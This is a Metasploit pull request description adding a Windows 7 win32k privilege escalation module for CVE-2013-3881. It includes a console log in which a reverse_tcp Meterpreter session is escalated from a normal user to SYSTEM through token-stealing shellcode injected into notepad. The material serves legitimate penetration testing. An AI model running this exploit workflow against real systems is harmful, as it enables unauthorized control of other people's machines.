rapid7/metasploit-framework — pull request #2957 by zeroSteiner (2014-02-07 14:10:46+00:00)
Title: Add module for CVE-2013-3881

This module has been tested on the following versions of Windows 7 win32k.sys:
* Windows 7 SP0 6.1.7600.16385
* Windows 7 SP1 6.1.7601.17514
* Windows 7 SP1 6.1.7601.18126

On successful exploitation, the DLL contains token stealing shellcode which elevates the process it was injected into. The token's reference count is not modified so this can lead to system instability if this exploit is used repeatedly (as is the case with any exploit that steals tokens without modifying the reference).

Verification steps:
- [ ] Get a session as a user
- [ ] Ensure the check command reports that the system is vulnerable
- [ ] Run the exploit in a manner similar to the following example

```
msf4-git (S:0 J:0) exploit(handler) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.90.131
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.131:49162) at 2014-02-07 08:44:51 -0500

meterpreter > sysinfo
Computer : WIN-82GTIDG995P
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: WIN-82GTIDG995P\tester
meterpreter > background
[*] Backgrounding session 1...
msf4-git (S:1 J:0) exploit(handler) > use exploit/windows/local/win32k_null_page
msf4-git (S:1 J:0) exploit(win32k_null_page) > set SESSION 1
SESSION => 1
msf4-git (S:1 J:0) exploit(win32k_null_page) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf4-git (S:1 J:0) exploit(win32k_null_page) > set LHOST 192.168.90.1
LHOST => 192.168.90.1
msf4-git (S:1 J:0) exploit(win32k_null_page) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] win32k.sys file version: 6.1.7601.18126 branch: 18
[*] Launching notepad to host the exploit...
[+] Process 3840 launched.
[*] Reflectively injecting the exploit DLL into ...
[*] Injecting exploit into ...
[*] Exploit injected. Injecting payload into ...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (769024 bytes) to 192.168.90.131
[*] Meterpreter session 2 opened (192.168.90.1:4444 -> 192.168.90.131:49163) at 2014-02-07 08:45:25 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Almost all of the ruby code was copied from modules/exploits/windows/local/ppr_flatten_rec.rb